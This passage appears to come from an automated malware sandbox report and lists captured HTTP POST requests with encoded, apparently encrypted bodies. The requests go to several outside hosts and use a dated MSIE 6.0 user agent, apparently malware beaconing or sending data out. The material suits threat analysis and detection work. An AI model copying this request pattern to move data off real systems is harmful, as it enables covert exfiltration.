4f 77 2b 75 42 4e 4e 30 46 35 69 4e 72 38 38 36 30 56 65 6c 72 35 5a 2f 6c 64 4c 46 75 43 4c 41 32 30 42 30 72 6b 4c 71 4e 65 4d 48 38 31 77 30 32 50 6e 70 75 54 57 66 6e 61 72 4c 54 37 37 4f 31 4e 30 47 74 68 67 77 52 46 5a 43 34 59 47 47 36 6f 48 6c 49 51 45 33 50 67 4d 7a 4a 31 5a 41 4f 6a 4d 6e 46 43 32 43 56 7a 31 4f 75 45 47 39 6d 75 70 79 45 51 74 66 50 6c 61 6f 2f 52 35 35 36 4f 75 67 69 31 64 68 64 6f 6b 49 50 5a 5a 31 4c 68 58 5a 68 33 2f 30 66 6f 62 64 43 55 36 6c 6c 4b 57 50 30 49 4a 66 75 4b 53 51 4c 30 4e 31 70 72 43 61 7a 36 65 35 50 73 52 63 52 7a 4f 47 31 63 46 6a 51 77 6d 71 51 4e 47 38 5a 44 42 4e 65 57 6c 77 36 57 54 46 38 63 4d 62 4a 67 58 4f 6d 67 4f 30 41 6d 56 6a 4d 58 72 57 2b 39 49 35 2b 44 6e 55 52 6d 36 37 78 63 68 50 51 33 37 74 63 79 7a 50 57 65 52 Data Ascii: H8KgUSIC1RABMFpIlZtrK6XLInay4I7JdpKenPy6liJsO+vZYUAqXONEFM0ifRIBt20OroQ90rr7KaTzaQabf+PBgZV8yqNlGmMv/4GL6gviVsZ+sRcVpzADRo/gEWIWA+CeCaLy94ajc5rWWfh3xxlqrR5fHEa4tAq/99A0wlfCMSsgVNWKsGIGyRQyzxluZB2LrVj2Ri/NsrRcjDJmznuamXgkQw0YN5j9kaLTf/7hW1GsRl6z9HSY+odnC3vsiRMyEOyNqOdJft+OUOw+uBNN0F5iNr8860Velr5Z/ldLFuCLA20B0rkLqNeMH81w02PnpuTWfnarLT77O1N0GthgwRFZC4YGG6oHlIQE3PgMzJ1ZAOjMnFC2CVz1OuEG9mupyEQtfPlao/R556Ougi1dhdokIPZZ1LhXZh3/0fobdCU6llKWP0IJfuKSQL0N1prCaz6e5PsRcRzOG1cFjQwmqQNG8ZDBNeWlw6WTF8cMbJgXOmgO0AmVjMXrW+9I5+DnURm67xchPQ37tcyzPWeR
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 6e 57 66 59 37 5a 65 61 6f 52 45 47 32 2b 54 58 68 76 66 36 6e 65 42 34 6c 57 44 4e 76 76 53 79 75 34 64 66 32 6d 2b 72 4b 2b 31 37 6a 4d 34 75 64 73 6b 4a 6e 6e 47 69 64 66 4f 78 2b 74 33 68 76 4e 37 78 33 4a 6d 72 39 64 58 64 38 7a 35 4a 4d 77 45 43 46 5a 71 47 41 37 33 54 49 39 75 31 79 70 33 66 78 58 68 7a 73 49 6d 33 51 77 32 76 32 33 55 55 51 79 71 45 59 4a 65 6e 49 73 4a 59 56 79 71 45 45 43 6e 56 2f 2b 6c 44 61 44 75 4d 79 66 6e 76 46 33 39 4d 44 73 59 6e 49 46 33 41 6c 54 4f 42 38 52 41 30 33 79 52 57 39 32 45 79 43 76 65 2f 2b 43 71 62 63 6e 58 6a 4c 42 66 51 51 30 45 6d 54 50 76 44 5a 55 71 48 79 39 58 59 44 32 41 76 57 75 72 37 31 43 58 62 59 6b 63 66 76 57 6a 63 75 4a 4d 66 63 58 4b 54 71 58 56 65 45 77 2f 38 71 69 67 39 66 73 2b 75 30 64 6d 4d 30 35 59 6e 48 32 4c 2f 52 39 2f 39 48 6c 64 70 46 61 68 48 4c 6b 72 32 37 6c 4c 52 43 4e 6b 68 76 71 5a 32 41 35 56 44 43 73 2f 77 76 41 32 52 4e 61 4e 50 50 32 30 43 68 59 75 74 4c 71 41 6d 44 58 78 79 56 7a 42 41 7a 58 76 73 4b 6b 48 2f 34 77 31 4e 77 39 50 4d 4c 74 37 6b 4d 62 35 65 69 74 31 51 79 79 6d 54 54 44 75 59 67 66 31 4b 54 4e 52 6a 34 68 75 50 79 4c 42 45 69 74 42 57 69 35 2f 39 5a 72 46 52 6e 70 4e 73 37 42 4f 68 63 36 62 67 47 36 47 50 72 49 6b 73 43 74 51 6f 66 4d 32 49 4b 70 51 5a 4a 5a 76 31 45 39 62 62 6e 39 48 68 31 65 35 62 4e 6d 66 67 52 78 62 73 6a 47 51 37 4d 54 65 32 52 6b 47 73 34 61 30 73 58 33 58 46 6b 36 49 56 67 41 54 32 41 68 6b 63 50 46 63 76 31 52 76 45 38 50 37 6b 4b 34 73 6b 7a 74 6e 52 33 6b 42 38 54 33 59 61 48 4a 45 61 33 52 52 63 36 54 2f 6f 36 52 4f 76 68 2f 62 48 42 36 4b 4c 46 65 4d 2f 35 36 2b 39 68 49 59 76 4e 32 70 2f Data Ascii: nWfY7ZeaoREG2+TXhvf6neB4lWDNvvSyu4df2m+rK+17jM4udskJnnGidfOx+t3hvN7x3Jmr9dXd8z5JMwECFZqGA73TI9u1yp3fxXhzsIm3Qw2v23UUQyqEYJenIsJYVyqEECnV/+lDaDuMyfnvF39MDsYnIF3AlTOB8RA03yRW92EyCve/+CqbcnXjLBfQQ0EmTPvDZUqHy9XYD2AvWur71CXbYkcfvWjcuJMfcXKTqXVeEw/8qig9fs+u0dmM05YnH2L/R9/9HldpFahHLkr27lLRCNkhvqZ2A5VDCs/wvA2RNaNPP20ChYutLqAmDXxyVzBAzXvsKkH/4w1Nw9PMLt7kMb5eit1QyymTTDuYgf1KTNRj4huPyLBEitBWi5/9ZrFRnpNs7BOhc6bgG6GPrIksCtQofM2IKpQZJZv1E9bbn9Hh1e5bNmfgRxbsjGQ7MTe2RkGs4a0sX3XFk6IVgAT2AhkcPFcv1RvE8P7kK4skztnR3kB8T3YaHJEa3RRc6T/o6ROvh/bHB6KLFeM/56+9hIYvN2p/
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pwd.orgCache-Control: no-cacheData Raw: 6b 53 59 49 50 6e 33 55 72 6c 75 74 65 46 51 6e 4e 49 73 75 54 62 5a 5a 62 31 69 72 37 59 41 4e 41 64 33 52 4c 6f 4f 2b 6a 62 45 47 38 47 6f 6e 37 73 31 49 45 58 6a 56 42 54 35 32 6e 69 56 4f 39 41 72 68 75 78 4d 52 32 59 6b 62 4c 63 7a 58 68 65 53 4b 6b 71 54 6d 33 64 69 77 4f 61 43 54 38 6b 63 78 6e 43 79 74 65 46 7a 4a 6e 55 38 50 70 6a 70 39 46 56 6a 6d 77 4c 6e 6d 52 7a 6d 47 61 6d 63 6c 55 6a 51 78 6b 6a 4e 49 6d 43 75 6c 4e 4f 6b 72 2f 37 4c 36 55 6f 31 2b 6d 68 52 64 71 74 71 6f 66 57 47 6e 4e 30 65 39 57 6c 4e 39 4e 78 7a 46 74 58 68 63 71 30 69 55 6c 69 75 70 64 56 46 4c 39 6e 4e 66 37 69 49 4e 76 70 52 52 6b 62 6f 4a 7a 58 50 6c 4e 61 4d 46 2f 58 58 65 50 46 6c 6a 6d 6d 42 79 4b 43 51 34 7a 65 6e 50 34 7a 6d 48 6f 76 59 38 31 54 74 5a 79 79 53 70 62 42 46 77 55 32 47 34 51 41 4a 38 62 64 53 45 77 6f 73 4e 2b 78 52 79 50 78 4d 33 41 42 76 61 44 7a 67 33 50 4f 4d 62 72 50 41 32 74 59 61 61 6c 32 46 6d 32 44 74 6f 45 32 37 45 78 48 71 62 6f 70 32 36 75 59 57 48 77 47 62 64 43 31 65 79 50 4c 57 4e 50 5a 32 53 4d 44 35 45 51 70 70 6b 42 59 52 75 51 38 6f 37 79 67 33 65 6b 47 78 32 7a 72 42 6e 7a 51 46 7a 67 4c 78 36 2b 6d 4f 32 77 62 55 76 72 6c 62 61 45 69 6f 34 68 53 30 36 37 73 63 2b 46 72 4e 39 6d 68 71 66 49 31 58 34 39 6b 64 2f 39 4c 7a 78 66 7a 59 63 75 66 77 6a 33 70 50 46 72 72 32 69 44 6c 4f 65 61 62 62 2f 5a 2f 43 6f 51 7a 31 32 33 69 6c 4c 79 63 35 4d 71 52 63 4a 69 4b 30 59 58 66 39 6a 35 74 48 4c 50 68 50 74 6f 76 6a 55 57 71 31 68 6e 56 6a 2f 41 4c 4b 48 77 52 36 6b 55 75 52 5a 61 57 33 35 61 70 44 38 2f 73 45 30 51 38 39 4e 50 51 55 35 41 58 63 71 4b 2b 74 76 44 6c 45 6f 34 77 6f 4e 41 72 62 6f 77 71 53 54 4f 31 7a 51 68 35 58 6d 46 78 6d 4a 36 39 4a 66 78 71 38 6b 62 4b 37 45 64 64 72 78 50 72 34 3d Data Ascii: kSYIPn3UrluteFQnNIsuTbZZb1ir7YANAd3RLoO+jbEG8Gon7s1IEXjVBT52niVO9ArhuxMR2YkbLczXheSKkqTm3diwOaCT8kcxnCyteFzJnU8Ppjp9FVjmwLnmRzmGamclUjQxkjNImCulNOkr/7L6Uo1+mhRdqtqofWGnN0e9WlN9NxzFtXhcq0iUliupdVFL9nNf7iINvpRRkboJzXPlNaMF/XXePFljmmByKCQ4zenP4zmHovY81TtZyySpbBFwU2G4QAJ8bdSEwosN+xRyPxM3ABvaDzg3POMbrPA2tYaal2Fm2DtoE27ExHqbop26uYWHwGbdC1eyPLWNPZ2SMD5EQppkBYRuQ8o7yg3ekGx2zrBnzQFzgLx6+mO2wbUvrlbaEio4hS067sc+FrN9mhqfI1X49kd/9LzxfzYcufwj3pPFrr2iDlOeabb/Z/CoQz123ilLyc5MqRcJiK0YXf9j5tHLPhPtovjUWq1hnVj/ALKHwR6kUuRZaW35apD8/sE0Q89NPQU5AXcqK+tvDlEo4woNArbowqSTO1zQh5XmFxmJ69Jfxq8kbK7EddrxPr4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yocinc.orgCache-Control: no-cacheData Raw: 43 2f 6c 44 4d 70 75 7a 7a 31 73 36 63 62 38 7a 73 74 53 74 4d 59 52 73 34 62 34 68 35 75 65 4b 2f 30 37 78 62 51 4a 4f 6e 35 4a 34 2b 63 43 6d 38 77 77 77 35 48 6c 43 39 49 63 36 42 4e 38 52 6d 76 78 31 45 77 69 32 53 6e 73 45 72 59 48 36 6c 70 43 55 63 6d 37 65 63 36 59 45 4a 4d 36 78 43 38 4f 39 4c 61 42 53 69 68 56 79 50 46 4e 61 69 6e 43 50 48 4b 51 6b 48 67 34 54 67 71 2f 6d 36 61 30 6a 6f 41 2f 73 62 4a 6b 4b 36 46 45 63 6b 53 68 70 72 45 74 72 44 4a 52 37 62 76 2f 6c 49 6b 76 57 61 48 4f 68 65 36 53 48 38 4b 32 4e 2b 35 71 45 50 4f 42 4c 73 75 35 48 34 42 45 41 42 38 32 6f 45 63 79 41 57 74 57 67 56 46 6c 43 36 73 4d 52 47 46 5a 57 6a 62 46 6f 35 67 53 71 51 56 6a 6c 67 6a 52 66 69 55 62 5a 6e 74 68 6f 4e 36 6a 56 4f 4d 56 7a 6c 6f 30 54 74 6a 6c 41 2b 33 64 6d 2b 34 76 41 32 75 37 42 42 33 5a 4a 6a 59 75 39 72 70 6c 55 7a 34 36 4b 69 6e 2b 61 57 7a 74 43 48 58 67 2b 53 5a 76 62 69 76 70 59 32 56 33 65 72 46 56 72 59 58 62 34 5a 58 77 65 50 39 48 66 32 36 30 35 64 2b 6d 33 6b 2f 73 56 45 54 4d 79 61 48 35 58 33 70 72 31 73 74 61 59 62 6e 4f 44 63 67 30 58 49 49 59 61 6a 39 42 52 57 42 6e 30 45 53 52 65 6b 51 58 34 50 4b 53 64 36 76 67 4f 39 32 70 43 30 4c 67 44 4e 4d 58 61 61 4b 67 64 77 49 58 77 32 68 44 4e 48 69 6c 6a 4d 31 30 71 2b 66 72 38 72 6e 4a 62 75 41 4d 4f 6f 56 4d 76 70 62 51 32 75 49 30 55 42 66 4a 76 42 38 77 65 75 77 66 59 7a 79 51 76 54 49 6a 43 35 73 65 67 76 56 46 53 79 35 6d 50 6c 59 48 34 78 6a 72 30 47 45 45 68 63 6f 50 43 74 53 54 36 41 68 62 4a 31 74 70 74 4f 71 39 38 52 59 74 33 47 61 68 61 36 4a 4b 69 59 2b 38 6c 33 67 6e 71 63 43 45 59 35 67 66 6e 54 5a 37 34 59 43 53 37 33 46 79 58 35 64 55 54 6c 2b 6a 34 7a 5a 52 7a Data Ascii: C/lDMpuzz1s6cb8zstStMYRs4b4h5ueK/07xbQJOn5J4+cCm8www5HlC9Ic6BN8Rmvx1Ewi2SnsErYH6lpCUcm7ec6YEJM6xC8O9LaBSihVyPFNainCPHKQkHg4Tgq/m6a0joA/sbJkK6FEckShprEtrDJR7bv/lIkvWaHOhe6SH8K2N+5qEPOBLsu5H4BEAB82oEcyAWtWgVFlC6sMRGFZWjbFo5gSqQVjlgjRfiUbZnthoN6jVOMVzlo0TtjlA+3dm+4vA2u7BB3ZJjYu9rplUz46Kin+aWztCHXg+SZvbivpY2V3erFVrYXb4ZXweP9Hf2605d+m3k/sVETMyaH5X3pr1staYbnODcg0XIIYaj9BRWBn0ESRekQX4PKSd6vgO92pC0LgDNMXaaKgdwIXw2hDNHiljM10q+fr8rnJbuAMOoVMvpbQ2uI0UBfJvB8weuwfYzyQvTIjC5segvVFSy5mPlYH4xjr0GEEhcoPCtST6AhbJ1tptOq98RYt3Gaha6JKiY+8l3gnqcCEY5gfnTZ74YCS73FyX5dUTl+j4zZRz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 72 57 49 70 73 43 6b 6e 52 42 48 75 4e 53 63 62 2b 45 61 41 46 30 4b 39 57 47 76 48 4d 37 43 35 62 53 52 4b 35 63 44 67 7a 34 71 62 77 71 79 73 34 64 58 35 2f 77 56 67 49 72 6c 63 7a 6d 33 45 63 2f 33 4a 70 7a 34 39 65 33 62 6b 56 2f 71 2f 31 48 43 32 34 4d 30 51 4f 6a 75 62 73 4a 6e 75 52 78 4f 79 53 34 53 78 63 38 4c 4a 4d 6e 56 67 78 37 38 67 58 6a 67 46 44 44 4c 47 50 6d 33 6b 62 6c 4b 4f 47 79 59 55 54 52 74 67 54 35 5a 6f 36 70 42 63 62 6d 41 59 63 64 39 75 54 50 47 64 64 6f 66 70 55 52 49 48 4c 4b 73 75 39 78 45 44 76 50 65 46 35 67 41 6b 32 44 4d 68 78 72 6c 32 65 6f 30 51 37 77 39 44 69 2f 44 56 77 54 63 56 70 6a 67 62 4a 63 54 39 74 6a 54 46 66 74 6a 63 66 36 38 53 7a 59 65 79 35 6c 47 6f 77 5a 56 77 74 37 59 38 2f 67 51 32 39 4c 4f 59 64 69 42 39 5a 70 51 65 71 36 61 41 48 66 45 49 70 38 69 6e 43 67 79 49 30 57 33 74 55 66 49 62 39 4a 63 46 4c 2b 2b 52 4a 63 30 73 78 6e 63 5a 58 37 72 39 52 4d 75 4c 4a 77 32 4e 47 56 70 68 67 6a 45 52 70 6c 2b 74 2b 33 54 41 53 57 34 55 79 48 76 76 6b 53 35 70 39 4e 75 43 6b 58 34 70 57 30 38 58 65 42 68 38 51 62 69 57 2b 59 55 6b 76 43 37 77 79 76 76 5a 78 4e 74 78 43 72 54 52 38 2b 32 67 34 4f 47 67 72 47 57 71 66 41 2b 43 6e 37 52 64 50 67 4b 59 6d 52 64 77 6e 73 6e 56 57 7a 6a 54 4b 5a 2b 67 4f 56 6e 66 48 48 58 7a 42 50 42 31 36 38 46 45 32 77 6f 74 63 64 37 46 36 39 38 37 71 4f 5a 43 51 4e 33 2f 71 6d 2b 7a 38 34 69 6d 57 64 56 43 43 76 37 4b 71 6d 39 43 64 7a 4e 4a 50 70 67 49 50 33 65 6b 62 7a 68 76 75 5a 2f 77 56 47 43 4b 62 5a 63 37 67 74 6e 54 34 70 57 71 33 59 41 59 78 2b 54 33 62 64 66 76 57 70 46 4d 75 70 73 6c 61 30 44 51 2f 71 45 2b 2f 68 69 68 4b 41 3d 3d Data Ascii: rWIpsCknRBHuNScb+EaAF0K9WGvHM7C5bSRK5cDgz4qbwqys4dX5/wVgIrlczm3Ec/3Jpz49e3bkV/q/1HC24M0QOjubsJnuRxOyS4Sxc8LJMnVgx78gXjgFDDLGPm3kblKOGyYUTRtgT5Zo6pBcbmAYcd9uTPGddofpURIHLKsu9xEDvPeF5gAk2DMhxrl2eo0Q7w9Di/DVwTcVpjgbJcT9tjTFftjcf68SzYey5lGowZVwt7Y8/gQ29LOYdiB9ZpQeq6aAHfEIp8inCgyI0W3tUfIb9JcFL++RJc0sxncZX7r9RMuLJw2NGVphgjERpl+t+3TASW4UyHvvkS5p9NuCkX4pW08XeBh8QbiW+YUkvC7wyvvZxNtxCrTR8+2g4OGgrGWqfA+Cn7RdPgKYmRdwnsnVWzjTKZ+gOVnfHHXzBPB168FE2wotcd7F6987qOZCQN3/qm+z84imWdVCCv7Kqm9CdzNJPpgIP3ekbzhvuZ/wVGCKbZc7gtnT4pWq3YAYx+T3bdfvWpFMupsla0DQ/qE+/hihKA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pwd.orgCache-Control: no-cacheData Raw: 73 75 39 37 65 63 2b 77 53 68 45 64 59 4b 69 63 62 6d 66 6a 49 39 68 48 63 63 39 6c 6e 54 53 35 63 2b 57 70 74 44 70 4b 4c 43 56 75 6f 33 69 6b 51 6e 55 59 2f 63 54 6f 34 76 76 71 4e 34 62 7a 61 68 6f 31 4f 7a 6a 4a 30 57 75 78 48 79 58 74 57 79 6d 42 56 4a 53 38 66 45 74 33 42 45 47 79 55 79 39 57 35 58 68 6a 47 65 4c 34 51 2b 42 4e 31 76 34 57 44 6f 63 53 49 4b 49 66 33 65 2f 64 57 41 69 4b 64 6c 47 6e 4c 41 37 56 46 30 62 7a 71 4e 55 56 71 6d 4c 78 7a 6b 7a 59 62 4f 74 6f 4c 53 4d 56 69 50 32 41 4a 72 34 39 74 65 63 76 73 55 32 50 66 52 73 76 32 50 73 72 50 47 6c 4d 4c 51 67 48 4c 49 39 66 5a 44 64 37 39 44 68 31 51 4e 4e 6a 30 39 67 42 68 38 71 46 75 49 57 75 47 72 52 5a 72 46 75 79 4b 30 67 56 75 4c 50 76 79 50 77 5a 33 75 4a 52 44 32 76 76 46 6a 63 39 79 76 65 66 6e 54 48 6c 44 36 58 6b 42 43 30 50 4f 4f 75 50 7a 6d 64 4d 47 4d 72 64 70 53 5a 50 53 52 6a 67 36 57 35 38 52 70 53 39 46 48 79 32 4b 78 6b 44 7a 37 58 54 42 41 37 45 57 73 49 36 4e 36 43 76 41 4f 43 67 4d 55 38 54 32 73 79 61 4b 73 53 6f 53 31 36 57 39 2f 6b 57 70 6e 4a 65 36 67 6c 67 47 76 44 61 41 54 49 57 71 65 6b 4d 45 77 70 53 76 63 51 54 4c 69 57 57 37 61 75 58 78 4d 4e 59 42 56 35 30 7a 78 51 45 5a 68 4e 54 73 53 47 4f 76 69 4e 67 58 5a 75 47 48 38 31 7a 61 78 32 45 4b 76 32 63 46 64 4a 7a 63 48 71 6a 39 50 4e 52 7a 4e 6c 42 67 72 4f 68 44 41 31 69 53 42 67 61 66 7a 38 62 44 37 68 61 35 46 67 42 66 42 4e 6a 36 70 6c 46 48 4f 6c 55 7a 59 30 71 4e 77 68 4a 70 36 52 43 43 6e 52 62 65 53 61 54 6f 6e 64 48 52 4c 6c 47 4c 53 43 33 2b 64 2f 36 73 69 69 65 79 4e 33 39 46 56 4f 57 50 6d 31 30 32 78 62 54 4e 66 69 43 4c 50 33 34 54 45 70 49 69 72 76 42 30 48 42 6c 45 32 2b 71 34 6f 74 64 66 57 30 6d 6e 4b 53 63 57 5a 53 68 65 4d 51 3d Data Ascii: su97ec+wShEdYKicbmfjI9hHcc9lnTS5c+WptDpKLCVuo3ikQnUY/cTo4vvqN4bzaho1OzjJ0WuxHyXtWymBVJS8fEt3BEGyUy9W5XhjGeL4Q+BN1v4WDocSIKIf3e/dWAiKdlGnLA7VF0bzqNUVqmLxzkzYbOtoLSMViP2AJr49tecvsU2PfRsv2PsrPGlMLQgHLI9fZDd79Dh1QNNj09gBh8qFuIWuGrRZrFuyK0gVuLPvyPwZ3uJRD2vvFjc9yvefnTHlD6XkBC0POOuPzmdMGMrdpSZPSRjg6W58RpS9FHy2KxkDz7XTBA7EWsI6N6CvAOCgMU8T2syaKsSoS16W9/kWpnJe6glgGvDaATIWqekMEwpSvcQTLiWW7auXxMNYBV50zxQEZhNTsSGOviNgXZuGH81zax2EKv2cFdJzcHqj9PNRzNlBgrOhDA1iSBgafz8bD7ha5FgBfBNj6plFHOlUzY0qNwhJp6RCCnRbeSaTondHRLlGLSC3+d/6siieyN39FVOWPm102xbTNfiCLP34TEpIirvB0HBlE2+q4otdfW0mnKScWZSheMQ=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nunomira.comCache-Control: no-cacheData Raw: 6d 4f 64 71 50 75 63 43 35 52 41 57 32 30 6f 79 6c 69 50 48 6e 37 41 56 45 68 39 64 78 52 4e 57 43 38 31 39 59 44 6b 76 61 58 6f 39 34 6f 45 79 50 61 4c 6c 59 44 7a 72 30 70 4c 31 79 68 4b 72 67 71 32 6e 75 44 58 41 41 4b 46 54 79 41 73 5a 55 4f 43 65 43 39 51 34 37 73 36 72 48 36 51 43 37 57 77 4b 6e 4e 61 75 61 75 38 57 74 32 36 65 34 2b 2b 44 6a 4d 4a 71 44 65 4a 4c 75 76 6a 4b 45 38 53 34 49 64 4d 7a 6b 62 56 49 74 46 65 58 41 6d 54 38 39 66 63 4d 74 76 66 47 43 4e 4f 55 76 53 51 4b 53 59 7a 2f 6b 34 55 39 35 6e 62 37 79 34 49 65 33 34 43 46 79 41 4f 62 37 31 52 49 67 6c 6c 75 54 55 4c 38 2b 51 71 57 59 63 76 4e 4f 37 58 4c 2f 6c 79 30 54 6b 56 4d 34 66 53 45 4b 45 50 54 6b 41 78 35 57 44 41 6b 6b 51 71 75 52 72 37 67 50 54 42 70 50 46 67 48 64 31 37 41 74 71 43 64 64 68 66 71 71 55 6d 6e 64 42 47 43 6b 4d 41 7a 5a 7a 4a 53 34 45 4e 64 4d 71 52 41 59 61 76 4e 4a 2b 79 79 52 4a 62 46 6d 34 54 76 4a 37 4a 7a 49 4d 61 6c 4f 44 49 4c 2f 73 79 52 42 68 79 71 45 73 2b 38 2b 39 48 51 4e 74 76 77 4c 48 42 35 35 6f 77 67 34 41 69 6b 4e 46 52 47 49 54 4a 77 53 56 78 41 53 45 5a 46 59 50 6e 37 73 74 64 46 39 64 45 4c 63 4f 36 61 5a 66 55 76 7a 57 70 4c 41 6e 37 30 4e 6b 30 73 30 49 67 66 43 66 34 42 79 6d 67 65 33 34 49 4f 30 4c 75 4b 33 64 6f 56 77 6d 44 67 64 62 2f 6a 69 49 30 64 55 79 48 72 2f 38 78 46 43 4d 6f 6c 59 76 4e 31 6e 54 4a 39 6c 53 46 42 43 4c 30 71 6d 4d 6f 74 68 4e 41 46 55 6f 45 45 49 55 63 38 39 4c 69 39 31 46 77 4a 5a 52 4a 51 64 77 77 6b 52 51 6c 31 6d 45 69 6c 49 71 78 31 47 2b 46 2f 43 74 42 36 31 55 6e 45 52 38 4f 64 49 5a 5a 2b 35 43 34 49 52 65 34 39 57 68 61 76 50 42 78 33 42 45 42 55 53 34 47 51 63 62 71 66 71 48 4d 47 66 4f 67 62 37 6d 6d 62 2b 30 33 73 44 54 66 59 2b 72 45 32 5a 68 53 64 42 6a 33 56 61 69 46 69 4b 4a 77 71 Data Ascii: mOdqPucC5RAW20oyliPHn7AVEh9dxRNWC819YDkvaXo94oEyPaLlYDzr0pL1yhKrgq2nuDXAAKFTyAsZUOCeC9Q47s6rH6QC7WwKnNauau8Wt26e4++DjMJqDeJLuvjKE8S4IdMzkbVItFeXAmT89fcMtvfGCNOUvSQKSYz/k4U95nb7y4Ie34CFyAOb71RIglluTUL8+QqWYcvNO7XL/ly0TkVM4fSEKEPTkAx5WDAkkQquRr7gPTBpPFgHd17AtqCddhfqqUmndBGCkMAzZzJS4ENdMqRAYavNJ+yyRJbFm4TvJ7JzIMalODIL/syRBhyqEs+8+9HQNtvwLHB55owg4AikNFRGITJwSVxASEZFYPn7stdF9dELcO6aZfUvzWpLAn70Nk0s0IgfCf4Bymge34IO0LuK3doVwmDgdb/jiI0dUyHr/8xFCMolYvN1nTJ9lSFBCL0qmMothNAFUoEEIUc89Li91FwJZRJQdwwkRQl1mEilIqx1G+F/CtB61UnER8OdIZZ+5C4IRe49WhavPBx3BEBUS4GQcbqfqHMGfOgb7mmb+03sDTfY+rE2ZhSdBj3VaiFiKJwq
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 6f 68 43 30 4e 72 6d 59 74 42 45 4a 4d 43 4c 39 53 47 71 46 41 56 4a 31 34 2b 57 58 66 4b 49 78 2f 57 61 44 57 45 43 59 35 6e 67 30 6e 78 76 68 79 4e 65 78 47 48 4c 54 67 2b 6b 63 6f 2f 76 46 30 42 33 70 2f 58 5a 79 77 34 56 54 43 52 34 43 78 61 62 47 49 6f 33 67 52 6f 43 35 61 70 53 41 76 6b 32 77 73 59 46 6a 4a 55 68 61 72 65 41 77 44 5a 63 64 6f 2b 76 41 68 69 56 76 78 6c 74 34 79 4a 4c 6f 61 4c 77 64 53 4e 57 31 57 70 32 76 4a 6a 5a 6e 43 72 79 61 51 36 79 4b 39 6c 73 76 6f 56 54 48 74 7a 36 34 2f 44 77 35 47 57 35 70 31 79 6f 65 2f 54 55 45 31 6c 6d 52 6f 70 30 68 7a 67 76 55 69 68 69 66 6c 72 78 64 57 6f 45 77 79 47 33 62 32 35 48 53 62 55 33 56 62 4d 56 5a 52 61 42 38 77 73 73 79 72 58 67 70 79 59 59 2b 41 75 65 38 2b 6e 4b 50 78 55 7a 55 34 79 64 66 76 45 6a 77 46 54 56 74 31 35 6e 63 52 2f 59 73 56 2b 68 36 2f 73 4e 73 6d 71 2b 45 55 48 73 59 58 79 4a 6f 45 45 32 72 76 44 44 36 34 67 74 4f 47 79 4d 44 73 51 32 69 35 72 53 6b 53 41 42 48 6a 71 50 4d 5a 58 56 52 50 67 45 46 45 47 58 30 70 75 64 57 73 56 70 72 54 45 38 59 75 67 6a 43 73 42 69 58 55 44 71 35 44 33 37 6a 57 77 53 52 37 64 7a 4c 50 41 39 78 78 51 67 4f 51 65 77 44 38 33 70 45 64 7a 42 35 69 73 4f 61 35 6a 68 43 74 45 6d 59 4e 6c 7a 77 4b 7a 53 38 6b 45 52 49 43 65 43 35 79 7a 56 6c 75 4f 48 30 48 56 67 38 65 55 5a 68 42 77 6d 6a 6e 77 66 5a 48 2f 42 6f 54 38 69 58 64 62 6d 39 77 4b 34 74 57 47 4b 4d 50 67 49 6d 48 6d 53 6d 4a 64 63 2f 78 50 52 36 68 6f 57 41 34 53 65 6d 4d 61 51 42 57 6f 77 6b 61 52 49 57 47 31 58 7a 64 6e 4d 70 38 7a 34 73 47 69 2f 4c 75 66 56 4e 69 48 53 4d 2b 76 45 4d 72 77 7a 77 58 62 47 64 79 44 50 4c 59 64 36 6a 41 44 6a 75 53 4b 77 38 2f 6b 4d 64 65 37 2b 69 34 65 59 3d Data Ascii: ohC0NrmYtBEJMCL9SGqFAVJ14+WXfKIx/WaDWECY5ng0nxvhyNexGHLTg+kco/vF0B3p/XZyw4VTCR4CxabGIo3gRoC5apSAvk2wsYFjJUhareAwDZcdo+vAhiVvxlt4yJLoaLwdSNW1Wp2vJjZnCryaQ6yK9lsvoVTHtz64/Dw5GW5p1yoe/TUE1lmRop0hzgvUihiflrxdWoEwyG3b25HSbU3VbMVZRaB8wssyrXgpyYY+Aue8+nKPxUzU4ydfvEjwFTVt15ncR/YsV+h6/sNsmq+EUHsYXyJoEE2rvDD64gtOGyMDsQ2i5rSkSABHjqPMZXVRPgEFEGX0pudWsVprTE8YugjCsBiXUDq5D37jWwSR7dzLPA9xxQgOQewD83pEdzB5isOa5jhCtEmYNlzwKzS8kERICeC5yzVluOH0HVg8eUZhBwmjnwfZH/BoT8iXdbm9wK4tWGKMPgImHmSmJdc/xPR6hoWA4SemMaQBWowkaRIWG1XzdnMp8z4sGi/LufVNiHSM+vEMrwzwXbGdyDPLYd6jADjuSKw8/kMde7+i4eY=
